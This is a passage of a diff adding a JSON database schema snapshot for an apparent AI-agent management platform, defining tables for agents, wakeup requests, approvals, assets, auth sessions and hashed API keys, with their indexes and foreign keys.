+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_task_sessions_agent_id_agents_id_fk": {
+          "name": "agent_task_sessions_agent_id_agents_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_task_sessions_last_run_id_heartbeat_runs_id_fk": {
+          "name": "agent_task_sessions_last_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "agent_task_sessions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "last_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_wakeup_requests": {
+      "name": "agent_wakeup_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source": {
+          "name": "source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "trigger_detail": {
+          "name": "trigger_detail",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "coalesced_count": {
+          "name": "coalesced_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "requested_by_actor_type": {
+          "name": "requested_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_actor_id": {
+          "name": "requested_by_actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_at": {
+          "name": "requested_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "claimed_at": {
+          "name": "claimed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_wakeup_requests_company_agent_status_idx": {
+          "name": "agent_wakeup_requests_company_agent_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_company_requested_idx": {
+          "name": "agent_wakeup_requests_company_requested_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requested_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_agent_requested_idx": {
+          "name": "agent_wakeup_requests_agent_requested_idx",
+          "columns": [
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requested_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_review_path_recovery_idempotency_uq": {
+          "name": "agent_wakeup_requests_review_path_recovery_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"agent_wakeup_requests\".\"idempotency_key\" LIKE 'issue_review_path_lost:%' AND \"agent_wakeup_requests\".\"status\" <> 'skipped'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_disposition_repair_idempotency_uq": {
+          "name": "agent_wakeup_requests_disposition_repair_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"agent_wakeup_requests\".\"idempotency_key\" LIKE 'issue_disposition_repair:%' AND \"agent_wakeup_requests\".\"status\" <> 'skipped'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_wakeup_requests_company_payload_issue_idx": {
+          "name": "agent_wakeup_requests_company_payload_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "(\"payload\" ->> 'issueId')",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agent_wakeup_requests_company_id_companies_id_fk": {
+          "name": "agent_wakeup_requests_company_id_companies_id_fk",
+          "tableFrom": "agent_wakeup_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agent_wakeup_requests_agent_id_agents_id_fk": {
+          "name": "agent_wakeup_requests_agent_id_agents_id_fk",
+          "tableFrom": "agent_wakeup_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agents": {
+      "name": "agents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "role": {
+          "name": "role",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'general'"
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "icon": {
+          "name": "icon",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'idle'"
+        },
+        "reports_to": {
+          "name": "reports_to",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "capabilities": {
+          "name": "capabilities",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'process'"
+        },
+        "adapter_config": {
+          "name": "adapter_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "runtime_config": {
+          "name": "runtime_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "default_environment_id": {
+          "name": "default_environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "budget_monthly_cents": {
+          "name": "budget_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "spent_monthly_cents": {
+          "name": "spent_monthly_cents",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "pause_reason": {
+          "name": "pause_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "paused_at": {
+          "name": "paused_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_reason": {
+          "name": "error_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "permissions": {
+          "name": "permissions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "last_heartbeat_at": {
+          "name": "last_heartbeat_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agents_company_status_idx": {
+          "name": "agents_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agents_company_reports_to_idx": {
+          "name": "agents_company_reports_to_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "reports_to",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agents_company_default_environment_idx": {
+          "name": "agents_company_default_environment_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "default_environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "agents_company_id_companies_id_fk": {
+          "name": "agents_company_id_companies_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agents_reports_to_agents_id_fk": {
+          "name": "agents_reports_to_agents_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "reports_to"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "agents_default_environment_id_environments_id_fk": {
+          "name": "agents_default_environment_id_environments_id_fk",
+          "tableFrom": "agents",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "default_environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.approval_comments": {
+      "name": "approval_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "approval_id": {
+          "name": "approval_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "approval_comments_company_idx": {
+          "name": "approval_comments_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "approval_comments_approval_idx": {
+          "name": "approval_comments_approval_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "approval_comments_approval_created_idx": {
+          "name": "approval_comments_approval_created_idx",
+          "columns": [
+            {
+              "expression": "approval_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "approval_comments_company_id_companies_id_fk": {
+          "name": "approval_comments_company_id_companies_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approval_comments_approval_id_approvals_id_fk": {
+          "name": "approval_comments_approval_id_approvals_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approval_comments_author_agent_id_agents_id_fk": {
+          "name": "approval_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "approval_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.approvals": {
+      "name": "approvals",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_by_agent_id": {
+          "name": "requested_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "requested_by_user_id": {
+          "name": "requested_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "decision_note": {
+          "name": "decision_note",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_by_user_id": {
+          "name": "decided_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decided_at": {
+          "name": "decided_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "approvals_company_status_type_idx": {
+          "name": "approvals_company_status_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "approvals_company_id_companies_id_fk": {
+          "name": "approvals_company_id_companies_id_fk",
+          "tableFrom": "approvals",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "approvals_requested_by_agent_id_agents_id_fk": {
+          "name": "approvals_requested_by_agent_id_agents_id_fk",
+          "tableFrom": "approvals",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "requested_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.assets": {
+      "name": "assets",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "object_key": {
+          "name": "object_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "content_type": {
+          "name": "content_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "byte_size": {
+          "name": "byte_size",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "sha256": {
+          "name": "sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "original_filename": {
+          "name": "original_filename",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "assets_company_created_idx": {
+          "name": "assets_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "assets_company_provider_idx": {
+          "name": "assets_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "assets_company_object_key_uq": {
+          "name": "assets_company_object_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "object_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "assets_company_id_companies_id_fk": {
+          "name": "assets_company_id_companies_id_fk",
+          "tableFrom": "assets",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "assets_created_by_agent_id_agents_id_fk": {
+          "name": "assets_created_by_agent_id_agents_id_fk",
+          "tableFrom": "assets",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.account": {
+      "name": "account",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "account_id": {
+          "name": "account_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_id": {
+          "name": "provider_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "access_token": {
+          "name": "access_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token": {
+          "name": "refresh_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "id_token": {
+          "name": "id_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "access_token_expires_at": {
+          "name": "access_token_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "refresh_token_expires_at": {
+          "name": "refresh_token_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope": {
+          "name": "scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "password": {
+          "name": "password",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "account_user_id_user_id_fk": {
+          "name": "account_user_id_user_id_fk",
+          "tableFrom": "account",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.session": {
+      "name": "session",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "token": {
+          "name": "token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "ip_address": {
+          "name": "ip_address",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_agent": {
+          "name": "user_agent",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {
+        "session_user_id_user_id_fk": {
+          "name": "session_user_id_user_id_fk",
+          "tableFrom": "session",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user": {
+      "name": "user",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "email": {
+          "name": "email",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "email_verified": {
+          "name": "email_verified",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "image": {
+          "name": "image",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.verification": {
+      "name": "verification",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "text",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "value": {
+          "name": "value",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        }
+      },
+      "indexes": {},
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.board_api_keys": {
+      "name": "board_api_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key_hash": {
+          "name": "key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "board_api_keys_key_hash_idx": {
+          "name": "board_api_keys_key_hash_idx",
+          "columns": [
+            {
+              "expression": "key_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "board_api_keys_user_idx": {
+          "name": "board_api_keys_user_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "board_api_keys_user_id_user_id_fk": {
+          "name": "board_api_keys_user_id_user_id_fk",
+          "tableFrom": "board_api_keys",
+          "tableTo": "user",
+          "columnsFrom": [
+            "user_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
